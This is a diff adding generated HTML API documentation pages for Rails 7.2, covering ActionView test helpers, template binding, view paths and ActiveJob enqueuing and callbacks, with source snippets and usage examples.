+      def render(options = {}, local_assigns = {}, &block)
+        view.assign(view_assigns)
+        @rendered << output = view.render(options, local_assigns, &block)
+        output
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rendered_views() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 242
+      def rendered_views
+        @_rendered_views ||= RenderedViewsCollection.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + setup_with_controller() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 220
+      def setup_with_controller
+        controller_class = Class.new(ActionView::TestCase::TestController)
+        @controller = controller_class.new
+        @request = @controller.request
+        @view_flow = ActionView::OutputFlow.new
+        @output_buffer = ActionView::OutputBuffer.new
+        @rendered = self.class.content_class.new(+"")
+
+        test_case_instance = self
+        controller_class.define_method(:_test_case) { test_case_instance }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TestCase/Behavior/ClassMethods.html b/src/7.2/classes/ActionView/TestCase/Behavior/ClassMethods.html new file mode 100644 index 0000000000..1d67fe4314 --- /dev/null +++ b/src/7.2/classes/ActionView/TestCase/Behavior/ClassMethods.html @@ -0,0 +1,398 @@ +--- +title: ActionView::TestCase::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [W] + helper_class
+ + + + + +

Instance Public methods

+ +
+

+ + determine_default_helper_class(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 164
+        def determine_default_helper_class(name)
+          determine_constant_from_test_name(name) do |constant|
+            Module === constant && !(Class === constant)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helper_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 183
+        def helper_class
+          @helper_class ||= determine_default_helper_class(name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helper_method(*methods) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 170
+        def helper_method(*methods)
+          # Almost a duplicate from ActionController::Helpers
+          methods.flatten.each do |method|
+            _helpers_for_modification.module_eval <<~end_eval, __FILE__, __LINE__ + 1
+              def #{method}(...)                    # def current_user(...)
+                _test_case.send(:'#{method}', ...)  #   _test_case.send(:'current_user', ...)
+              end                                   # end
+            end_eval
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 187
+        def new(*)
+          include_helper_modules!
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_parser(format, callable = nil, &block) + +

+ + +
+

Register a callable to parse rendered content for a given template format.

+ +

Each registered parser will also define a #rendered.[FORMAT] helper method, where [FORMAT] corresponds to the value of the format argument.

+ +

By default, ActionView::TestCase defines parsers for:

+ + +

These pre-registered parsers also define corresponding helpers:

+
  • +

    :html - defines rendered.html

    +
  • +

    :json - defines rendered.json

    +
+ +

Parameters

+
format +
+

The name (as a Symbol) of the format used to render the content.

+
callable +
+

The parser. A callable object that accepts the rendered string as its sole argument. Alternatively, the parser can be specified as a block.

+
+ +

Examples

+ +
test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered.html.at("main h1") => { content: "Hello, world" } }
+end
+
+test "renders JSON" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :json, partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered.json => { title: "Hello, world" } }
+end
+
+ +

To parse the rendered content into RSS, register a call to RSS::Parser.parse:

+ +
register_parser :rss, -> rendered { RSS::Parser.parse(rendered) }
+
+test "renders RSS" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :rss, partial: article
+
+  assert_equal "Hello, world", rendered.rss.items.last.title
+end
+
+ +

To parse the rendered content into a Capybara::Simple::Node, re-register an :html parser with a call to Capybara.string:

+ +
register_parser :html, -> rendered { Capybara.string(rendered) }
+
+test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: article
+
+  rendered.html.assert_css "h1", text: "Hello, world"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 148
+        def register_parser(format, callable = nil, &block)
+          parser = callable || block || :itself.to_proc
+          content_class.redefine_method(format) do
+            parser.call(to_s)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tests(helper_class) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 155
+        def tests(helper_class)
+          case helper_class
+          when String, Symbol
+            self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
+          when Module
+            self.helper_class = helper_class
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TestCase/Behavior/Locals.html b/src/7.2/classes/ActionView/TestCase/Behavior/Locals.html new file mode 100644 index 0000000000..3925909874 --- /dev/null +++ b/src/7.2/classes/ActionView/TestCase/Behavior/Locals.html @@ -0,0 +1,126 @@ +--- +title: ActionView::TestCase::Behavior::Locals +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + rendered_views
+ + + + + +

Instance Public methods

+ +
+

+ + render(options = {}, local_assigns = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 339
+        def render(options = {}, local_assigns = {})
+          case options
+          when Hash
+            if block_given?
+              rendered_views.add options[:layout], options[:locals]
+            elsif options.key?(:partial)
+              rendered_views.add options[:partial], options[:locals]
+            end
+          else
+            rendered_views.add options, local_assigns
+          end
+
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TestCase/Behavior/RenderedViewsCollection.html b/src/7.2/classes/ActionView/TestCase/Behavior/RenderedViewsCollection.html new file mode 100644 index 0000000000..6b85833142 --- /dev/null +++ b/src/7.2/classes/ActionView/TestCase/Behavior/RenderedViewsCollection.html @@ -0,0 +1,275 @@ +--- +title: ActionView::TestCase::Behavior::RenderedViewsCollection +layout: default +--- +
+ +
+
+ +
+ +

Need to experiment if this priority is the best one: rendered => output_buffer

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 306
+        def initialize
+          @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add(view, locals) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 310
+        def add(view, locals)
+          @rendered_views[view] ||= []
+          @rendered_views[view] << locals
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + locals_for(view) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 315
+        def locals_for(view)
+          @rendered_views[view]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rendered_views() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 319
+        def rendered_views
+          @rendered_views.keys
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_rendered?(view, expected_locals) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 323
+        def view_rendered?(view, expected_locals)
+          locals_for(view).any? do |actual_locals|
+            expected_locals.all? { |key, value| value == actual_locals[key] }
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TestCase/TestController.html b/src/7.2/classes/ActionView/TestCase/TestController.html new file mode 100644 index 0000000000..150363b0fb --- /dev/null +++ b/src/7.2/classes/ActionView/TestCase/TestController.html @@ -0,0 +1,246 @@ +--- +title: ActionView::TestCase::TestController +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + controller_path

Overrides AbstractController::Base#controller_path

+ [RW] + params
+ [RW] + request
+ [RW] + response
+ + + + +

Class Public methods

+ +
+

+ + controller_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 30
+      def self.controller_name
+        "test"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 34
+      def initialize
+        super
+        self.class.controller_path = ""
+        @request = ActionController::TestRequest.create(self.class)
+        @response = ActionDispatch::TestResponse.new
+
+        @request.env.delete("PATH_INFO")
+        @params = ActionController::Parameters.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + controller_path=(path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 26
+      def controller_path=(path)
+        self.class.controller_path = path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/UnboundTemplate.html b/src/7.2/classes/ActionView/UnboundTemplate.html new file mode 100644 index 0000000000..204cf9789c --- /dev/null +++ b/src/7.2/classes/ActionView/UnboundTemplate.html @@ -0,0 +1,197 @@ +--- +title: ActionView::UnboundTemplate +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + details
+ [R] + virtual_path
+ + + + +

Class Public methods

+ +
+

+ + new(source, identifier, details:, virtual_path:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/unbound_template.rb, line 10
+    def initialize(source, identifier, details:, virtual_path:)
+      @source = source
+      @identifier = identifier
+      @details = details
+      @virtual_path = virtual_path
+
+      @templates = Concurrent::Map.new(initial_capacity: 2)
+      @write_lock = Mutex.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + bind_locals(locals) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/unbound_template.rb, line 20
+    def bind_locals(locals)
+      unless template = @templates[locals]
+        @write_lock.synchronize do
+          normalized_locals = normalize_locals(locals)
+
+          # We need ||=, both to dedup on the normalized locals and to check
+          # while holding the lock.
+          template = (@templates[normalized_locals] ||= build_template(normalized_locals))
+
+          if template.strict_locals?
+            # Under strict locals, we only need one template.
+            # This replaces the @templates Concurrent::Map with a hash which
+            # returns this template for every key.
+            @templates = Hash.new(template).freeze
+          else
+            # This may have already been assigned, but we've already de-dup'd so
+            # reassignment is fine.
+            @templates[locals.dup] = template
+          end
+        end
+      end
+      template
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/VERSION.html b/src/7.2/classes/ActionView/VERSION.html new file mode 100644 index 0000000000..4719fb88d9 --- /dev/null +++ b/src/7.2/classes/ActionView/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActionView::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/ViewPaths.html b/src/7.2/classes/ActionView/ViewPaths.html new file mode 100644 index 0000000000..303a33398c --- /dev/null +++ b/src/7.2/classes/ActionView/ViewPaths.html @@ -0,0 +1,242 @@ +--- +title: ActionView::ViewPaths +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + append_view_path(path) + +

+ + +
+

Append a path to the list of view paths for the current LookupContext.

+ +

Parameters

+
  • +

    path - If a String is provided, it gets converted into the default view path. You may also provide a custom view path (see ActionView::PathSet for more information)

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 103
+    def append_view_path(path)
+      lookup_context.append_view_paths(self.class._build_view_paths(path))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + details_for_lookup() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 93
+    def details_for_lookup
+      {}
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lookup_context() + +

+ + +
+

LookupContext is the object responsible for holding all information required for looking up templates, i.e. view paths and details. Check ActionView::LookupContext for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 88
+    def lookup_context
+      @_lookup_context ||=
+        ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepend_view_path(path) + +

+ + +
+

Prepend a path to the list of view paths for the current LookupContext.

+ +

Parameters

+
  • +

    path - If a String is provided, it gets converted into the default view path. You may also provide a custom view path (see ActionView::PathSet for more information)

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 113
+    def prepend_view_path(path)
+      lookup_context.prepend_view_paths(self.class._build_view_paths(path))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/ViewPaths/ClassMethods.html b/src/7.2/classes/ActionView/ViewPaths/ClassMethods.html new file mode 100644 index 0000000000..79dc330fbe --- /dev/null +++ b/src/7.2/classes/ActionView/ViewPaths/ClassMethods.html @@ -0,0 +1,311 @@ +--- +title: ActionView::ViewPaths::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _view_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 15
+      def _view_paths
+        ActionView::PathRegistry.get_view_paths(self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _view_paths=(paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 19
+      def _view_paths=(paths)
+        ActionView::PathRegistry.set_view_paths(self, paths)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + append_view_path(path) + +

+ + +
+

Append a path to the list of view paths for this controller.

+ +

Parameters

+
  • +

    path - If a String is provided, it gets converted into the default view path. You may also provide a custom view path (see ActionView::PathSet for more information)

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 44
+      def append_view_path(path)
+        self._view_paths = view_paths + _build_view_paths(path)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepend_view_path(path) + +

+ + +
+

Prepend a path to the list of view paths for this controller.

+ +

Parameters

+
  • +

    path - If a String is provided, it gets converted into the default view path. You may also provide a custom view path (see ActionView::PathSet for more information)

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 54
+      def prepend_view_path(path)
+        self._view_paths = _build_view_paths(path) + view_paths
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_paths() + +

+ + +
+

A list of all of the default view paths for this controller.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 59
+      def view_paths
+        _view_paths
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_paths=(paths) + +

+ + +
+

Set the view paths.

+ +

Parameters

+
  • +

    paths - If a PathSet is provided, use that; otherwise, process the parameter into a PathSet.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/view_paths.rb, line 68
+      def view_paths=(paths)
+        self._view_paths = _build_view_paths(paths)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob.html b/src/7.2/classes/ActiveJob.html new file mode 100644 index 0000000000..cc001a7bfb --- /dev/null +++ b/src/7.2/classes/ActiveJob.html @@ -0,0 +1,579 @@ +--- +title: ActiveJob +layout: default +--- +
+ +
+
+ +
+ +

Active Job – Make work happen later

+ +

Active Job is a framework for declaring jobs and making them run on a variety of queuing backends. These jobs can be everything from regularly scheduled clean-ups, to billing charges, to mailings β€” anything that can be chopped up into small units of work and run in parallel.

+ +

It also serves as the backend for Action Mailer’s deliver_later functionality that makes it easy to turn any mailing into a job for running later. That’s one of the most common jobs in a modern web application: sending emails outside the request-response cycle, so the user doesn’t have to wait on it.

+ +

The main point is to ensure that all Rails apps will have a job infrastructure in place, even if it’s in the form of an β€œimmediate runner”. We can then have framework features and other gems build on top of that, without having to worry about API differences between Delayed Job and Resque. Picking your queuing backend becomes more of an operational concern, then. And you’ll be able to switch between them without having to rewrite your jobs.

+ +

You can read more about Active Job in the Active Job Basics guide.

+ +

Usage

+ +

To learn how to use your preferred queuing backend see its adapter documentation at ActiveJob::QueueAdapters.

+ +

Declare a job like so:

+ +
class MyJob < ActiveJob::Base
+  queue_as :my_jobs
+
+  def perform(record)
+    record.do_work
+  end
+end
+
+ +

Enqueue a job like so:

+ +
MyJob.perform_later record  # Enqueue a job to be performed as soon as the queuing system is free.
+
+ +
MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)  # Enqueue a job to be performed tomorrow at noon.
+
+ +
MyJob.set(wait: 1.week).perform_later(record) # Enqueue a job to be performed 1 week from now.
+
+ +

That’s it!

+ +

GlobalID support

+ +

Active Job supports GlobalID serialization for parameters. This makes it possible to pass live Active Record objects to your job instead of class/id pairs, which you then have to manually deserialize. Before, jobs would look like this:

+ +
class TrashableCleanupJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+
+ +

Now you can simply do:

+ +
class TrashableCleanupJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+ +

This works with any class that mixes in GlobalID::Identification, which by default has been mixed into Active Record classes.

+ +

Supported queuing systems

+ +

Active Job has built-in adapters for multiple queuing backends (Sidekiq, Resque, Delayed Job and others). To get an up-to-date list of the adapters see the API Documentation for ActiveJob::QueueAdapters.

+ +

Please note: We are not accepting pull requests for new adapters. We encourage library authors to provide an ActiveJob adapter as part of their gem, or as a stand-alone gem. For discussion about this see the following PRs: 23311, 21406, and #32285.

+ +

Download and installation

+ +

The latest version of Active Job can be installed with RubyGems:

+ +
$ gem install activejob
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Active Job is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Active Job as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + perform_all_later(*jobs) + +

+ + +
+

Push many jobs onto the queue at once without running enqueue callbacks. Queue adapters may communicate the enqueue status of each job by setting successfully_enqueued and/or enqueue_error on the passed-in job instances.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/enqueuing.rb, line 14
+    def perform_all_later(*jobs)
+      jobs.flatten!
+      jobs.group_by(&:queue_adapter).each do |queue_adapter, adapter_jobs|
+        instrument_enqueue_all(queue_adapter, adapter_jobs) do
+          if queue_adapter.respond_to?(:enqueue_all)
+            queue_adapter.enqueue_all(adapter_jobs)
+          else
+            adapter_jobs.each do |job|
+              job.successfully_enqueued = false
+              if job.scheduled_at
+                queue_adapter.enqueue_at(job, job.scheduled_at.to_f)
+              else
+                queue_adapter.enqueue(job)
+              end
+              job.successfully_enqueued = true
+            rescue EnqueueError => e
+              job.enqueue_error = e
+            end
+            adapter_jobs.count(&:successfully_enqueued?)
+          end
+        end
+      end
+      nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_big_decimal_serializer() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job.rb, line 52
+  def self.use_big_decimal_serializer
+    ActiveJob.deprecator.warn <<-WARNING.squish
+      Rails.application.config.active_job.use_big_decimal_serializer is deprecated and will be removed in Rails 8.0.
+    WARNING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_big_decimal_serializer=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job.rb, line 58
+  def self.use_big_decimal_serializer=(value)
+    ActiveJob.deprecator.warn <<-WARNING.squish
+      Rails.application.config.active_job.use_big_decimal_serializer is deprecated and will be removed in Rails 8.0.
+    WARNING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verbose_enqueue_logs + +

+ + +
+

Specifies if the methods calling background job enqueue should be logged below their relevant enqueue log lines. Defaults to false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job.rb, line 69
+  singleton_class.attr_accessor :verbose_enqueue_logs
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Active Job as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Arguments.html b/src/7.2/classes/ActiveJob/Arguments.html new file mode 100644 index 0000000000..bff8d1fda5 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Arguments.html @@ -0,0 +1,146 @@ +--- +title: ActiveJob::Arguments +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + deserialize(arguments) + +

+ + +
+

Deserializes a set of arguments. Intrinsic types that can safely be deserialized without mutation are returned as-is. Arrays/Hashes are deserialized element by element. All other types are deserialized using GlobalID.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/arguments.rb, line 42
+    def deserialize(arguments)
+      arguments.map { |argument| deserialize_argument(argument) }
+    rescue
+      raise DeserializationError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(arguments) + +

+ + +
+

Serializes a set of arguments. Intrinsic types that can safely be serialized without mutation are returned as-is. Arrays/Hashes are serialized element by element. All other types are serialized using GlobalID.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/arguments.rb, line 34
+    def serialize(arguments)
+      arguments.map { |argument| serialize_argument(argument) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Base.html b/src/7.2/classes/ActiveJob/Base.html new file mode 100644 index 0000000000..d7afa9a0e1 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Base.html @@ -0,0 +1,191 @@ +--- +title: ActiveJob::Base +layout: default +--- +
+ +
+
+ +
+ +

Active Job Base

+ +

Active Job objects can be configured to work with different backend queuing frameworks. To specify a queue adapter to use:

+ +
ActiveJob::Base.queue_adapter = :inline
+
+ +

A list of supported adapters can be found in QueueAdapters.

+ +

Active Job objects can be defined by creating a class that inherits from the ActiveJob::Base class. The only necessary method to implement is the β€œperform” method.

+ +

To define an Active Job object:

+ +
class ProcessPhotoJob < ActiveJob::Base
+  def perform(photo)
+    photo.watermark!('Rails')
+    photo.rotate!(90.degrees)
+    photo.resize_to_fit!(300, 300)
+    photo.upload!
+  end
+end
+
+ +

Records that are passed in are serialized/deserialized using Global ID. More information can be found in Arguments.

+ +

To enqueue a job to be performed as soon as the queuing system is free:

+ +
ProcessPhotoJob.perform_later(photo)
+
+ +

To enqueue a job to be processed at some point in the future:

+ +
ProcessPhotoJob.set(wait_until: Date.tomorrow.noon).perform_later(photo)
+
+ +

More information can be found in ActiveJob::Core::ClassMethods#set

+ +

A job can also be processed immediately without sending to the queue:

+ +
ProcessPhotoJob.perform_now(photo)
+
+ +

Exceptions

+ + +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Callbacks.html b/src/7.2/classes/ActiveJob/Callbacks.html new file mode 100644 index 0000000000..e2b0017b32 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Callbacks.html @@ -0,0 +1,102 @@ +--- +title: ActiveJob::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Active Job Callbacks

+ +

Active Job provides hooks during the life cycle of a job. Callbacks allow you to trigger logic during this cycle. Available callbacks are:

+
  • +

    before_enqueue

    +
  • +

    around_enqueue

    +
  • +

    after_enqueue

    +
  • +

    before_perform

    +
  • +

    around_perform

    +
  • +

    after_perform

    +
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Callbacks/ClassMethods.html b/src/7.2/classes/ActiveJob/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..dd7aed9c5e --- /dev/null +++ b/src/7.2/classes/ActiveJob/Callbacks/ClassMethods.html @@ -0,0 +1,399 @@ +--- +title: ActiveJob::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

These methods will be included into any Active Job object, adding callbacks for perform and enqueue methods.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_enqueue(*filters, &blk) + +

+ + +
+

Defines a callback that will get called right after the job is enqueued.

+ +
class VideoProcessJob < ActiveJob::Base
+  queue_as :default
+
+  after_enqueue do |job|
+    result = job.successfully_enqueued? ? "success" : "failure"
+    $statsd.increment "enqueue-video-job.#{result}"
+  end
+
+  def perform(video_id)
+    Video.find(video_id).process
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/callbacks.rb, line 141
+      def after_enqueue(*filters, &blk)
+        set_callback(:enqueue, :after, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_perform(*filters, &blk) + +

+ + +
+

Defines a callback that will get called right after the job’s perform method has finished.

+ +
class VideoProcessJob < ActiveJob::Base
+  queue_as :default
+
+  after_perform do |job|
+    UserMailer.notify_video_processed(job.arguments.first)
+  end
+
+  def perform(video_id)
+    Video.find(video_id).process
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/callbacks.rb, line 69
+      def after_perform(*filters, &blk)
+        set_callback(:perform, :after, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + around_enqueue(*filters, &blk) + +

+ + +
+

Defines a callback that will get called around the enqueuing of the job.

+ +
class VideoProcessJob < ActiveJob::Base
+  queue_as :default
+
+  around_enqueue do |job, block|
+    $statsd.time "video-job.process" do
+      block.call
+    end
+  end
+
+  def perform(video_id)
+    Video.find(video_id).process
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/callbacks.rb, line 162
+      def around_enqueue(*filters, &blk)
+        set_callback(:enqueue, :around, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + around_perform(*filters, &blk) + +

+ + +
+

Defines a callback that will get called around the job’s perform method.

+ +
class VideoProcessJob < ActiveJob::Base
+  queue_as :default
+
+  around_perform do |job, block|
+    UserMailer.notify_video_started_processing(job.arguments.first)
+    block.call
+    UserMailer.notify_video_processed(job.arguments.first)
+  end
+
+  def perform(video_id)
+    Video.find(video_id).process
+  end
+end
+
+ +

You can access the return value of the job only if the execution wasn’t halted.

+ +
class VideoProcessJob < ActiveJob::Base
+  around_perform do |job, block|
+    value = block.call
+    puts value # => "Hello World!"
+  end
+
+  def perform
+    "Hello World!"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/callbacks.rb, line 102
+      def around_perform(*filters, &blk)
